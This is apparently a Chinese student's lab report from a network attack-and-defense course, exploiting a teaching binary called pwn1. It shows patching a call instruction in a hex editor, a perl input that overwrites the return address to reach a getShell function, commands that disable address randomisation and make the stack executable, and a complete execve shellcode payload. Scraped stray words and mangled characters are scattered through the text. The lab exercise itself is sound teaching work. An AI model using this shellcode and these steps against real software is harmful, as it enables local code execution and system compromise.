2018-2019-2 20165237《网络攻防技术》Exp1 PC平台逆向破解

2018-2019-2 20165237《网络攻防技术》Exp1 PC平台逆向破解

1、实践目标

  • 本次实践的对象是一个名为pwn1的linux可执行文件。linux

  • 该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。shell

  • 该程序同时包含另外一个代码片断,getShell,会返回一个可用Shell。正常状况下这个代码是不会被运行的。咱们实践的目标就是想办法运行这个代码片断。咱们将学习两种方法运行这个代码片断,而后学习如何注入运行任何Shellcode。sass


2、基础知识

  • 熟悉Linux基本操做
  • 能看懂经常使用指令,如管道(|),输入、输出重定向(>)等。
  • 理解Bof的原理。
  • 能看得懂汇编、机器指令、EIP、指令地址。
  • 会使用gdb,vi。
  • 缓冲区溢出概图:

3、Exp1.1 直接修改程序机器指令,改变程序执行流程

实验步骤:

  • 反汇编:查看pwn20165237的代码机器指令和汇编语言
objdump -d pwn20165237 | more

  • 进行编辑:
vi pwn20165237

在vi里面进行如下步骤安全

  • 使用 :%!xxd显示模式切换为16进制模式
  • 使用 /e8d7查找要修改的内容
    ,并将d7修改为c3,保存并退出
  • 将16进制转换回原格式 :%!xxd -r,:wq!退出
    网络

  • 进行反汇编查看机器指令和汇编语言
objdump -d pwn20165237 | more

  • 验证:
./pwn20165237


4、Exp1.2经过构造输入参数,形成BOF攻击,改变程序执行流

实验步骤

  • 确认返回地址:
objdump -d pwn5237 | more

查看getshell()的内存地址
dom

  • 对pwn5237进行GDB调试,运行并输入进行尝试 1111111122222222333333334444444412345678
    函数

  • 获得ASCII码值 0x34333231 也就是倒序的1234
    咱们须要将其替换成getshell的返回地址 0x0804847d
  • 生成包含字符串的文件学习

perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
  • 使用命令
(cat input;cat) | ./pwn5237

将input的内容做为./pwn5237的输入,并验证结果
spa


5、Exp1.3Shellcode注入攻击

安装execstack:apt-get install execstack

 设置堆栈可执行: execstack -s pwn1    

 查询文件的堆栈是否可执行: execstack -q pwn1  

 关闭地址随机化: echo "0" > /proc/sys/kernel/randomize_va_space 

 查看地址随机化是否已经关闭: more /proc/sys/kernel/randomize_va_space

  • 注入攻击
    调试

  • 再打开一个终端Ctrl+Alt+t,找到进程号为33071

  • 使用gdb调试进程
gdb pwn1

attach 33071

disassemble foo

break *0x080484ae

continue

info r esp

x/16x 0xffffd30c

  • 经过计算,获得shellcode的地址是0xffffd310

  • 输入指令:
perl -e 'print "A" x 32;print "\x10\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x20\xd3\xff\xff\x00"' > input_shellcode
  • 验证:

6、实验感想与问题

  • 感想:此次实验,经过和舍友的讨论以及百度的帮助让我对缓冲区溢出攻击有了更深入的认识,尤为是栈的溢出与替换;实验操做过程当中根据指导书循序渐进得作没有什么困难,但愿可以再接再砺,学到更多有用的知识!

  • 什么是漏洞?漏洞有什么危害?

答:漏洞是在硬件、软件、协议的具体实现或系统安全策略上存在的缺陷,从而可使攻击者可以在未受权的状况下访问或破坏系统。本次实验的缓冲区溢出原理就是一个漏洞。他们会使计算机遭受病毒和黑客攻击,将本身的私人信息泄露出去。

相关文章
相关标签/搜索